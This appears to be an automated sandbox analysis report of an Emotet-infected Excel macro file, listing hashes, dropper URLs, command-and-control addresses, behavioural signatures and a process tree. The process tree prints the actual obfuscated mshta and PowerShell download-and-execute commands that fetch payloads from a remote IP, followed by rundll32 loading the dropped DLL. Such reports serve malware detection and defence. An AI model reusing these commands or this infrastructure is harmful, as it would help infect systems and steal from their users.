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Analysis

  • max time kernel
    145s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    19/01/2022, 05:08

General

  • Target

    762043.xlsm

  • Size

    112KB

  • MD5

    053f14a5b426e59114e1d03032de2c84

  • SHA1

    06a9f5543017c46a7a89abbc3c8a3add7f8fa3f3

  • SHA256

    d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b

  • SHA512

    e04eb2bb27f8d9f6a9949a7d8e1f60f7685d2166fc5e0510297126b16973579d8cc9ef7654a0fc6e34e5036f15edae8c8b009360876ae868d9e5a08eab906452

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/ru/ru.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/ru/ru.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\762043.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1464
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:316
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://92.255.57.195/ru/ru.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1360
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1944
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1488
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:916
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1296
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bqaujcurtw\itmewskwbmwgb.yhr",DmWmWpRZdKMpm
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:984
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bqaujcurtw\itmewskwbmwgb.yhr",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1836

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/916-67-0x00000000003B0000-0x00000000003D8000-memory.dmp

    Filesize

    160KB

  • memory/984-89-0x0000000000260000-0x0000000000288000-memory.dmp

    Filesize

    160KB

  • memory/1296-74-0x0000000000730000-0x0000000000758000-memory.dmp

    Filesize

    160KB

  • memory/1296-76-0x0000000000860000-0x0000000000888000-memory.dmp

    Filesize

    160KB

  • memory/1296-87-0x0000000002950000-0x0000000002978000-memory.dmp

    Filesize

    160KB

  • memory/1296-84-0x0000000002830000-0x0000000002858000-memory.dmp

    Filesize

    160KB

  • memory/1296-82-0x0000000002470000-0x0000000002498000-memory.dmp

    Filesize

    160KB

  • memory/1296-78-0x0000000000CE0000-0x0000000000D08000-memory.dmp

    Filesize

    160KB

  • memory/1464-55-0x0000000071551000-0x0000000071553000-memory.dmp

    Filesize

    8KB

  • memory/1464-54-0x000000002FC31000-0x000000002FC34000-memory.dmp

    Filesize

    12KB

  • memory/1464-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1464-57-0x0000000075F81000-0x0000000075F83000-memory.dmp

    Filesize

    8KB

  • memory/1464-113-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1836-108-0x0000000002BD0000-0x0000000002BF8000-memory.dmp

    Filesize

    160KB

  • memory/1836-92-0x00000000002D0000-0x00000000002F8000-memory.dmp

    Filesize

    160KB

  • memory/1836-94-0x00000000007E0000-0x0000000000818000-memory.dmp

    Filesize

    224KB

  • memory/1836-96-0x0000000000850000-0x0000000000878000-memory.dmp

    Filesize

    160KB

  • memory/1836-98-0x0000000000D80000-0x0000000000DA8000-memory.dmp

    Filesize

    160KB

  • memory/1836-100-0x00000000023A0000-0x00000000023C8000-memory.dmp

    Filesize

    160KB

  • memory/1836-104-0x00000000026B0000-0x00000000026D8000-memory.dmp

    Filesize

    160KB

  • memory/1836-106-0x0000000002AF0000-0x0000000002B18000-memory.dmp

    Filesize

    160KB

  • memory/1836-110-0x0000000002C30000-0x0000000002C58000-memory.dmp

    Filesize

    160KB

  • memory/1836-112-0x0000000003081000-0x00000000030A5000-memory.dmp

    Filesize

    144KB

  • memory/1944-60-0x0000000002580000-0x00000000031CA000-memory.dmp

    Filesize

    12.3MB

  • memory/1944-59-0x0000000002580000-0x00000000031CA000-memory.dmp

    Filesize

    12.3MB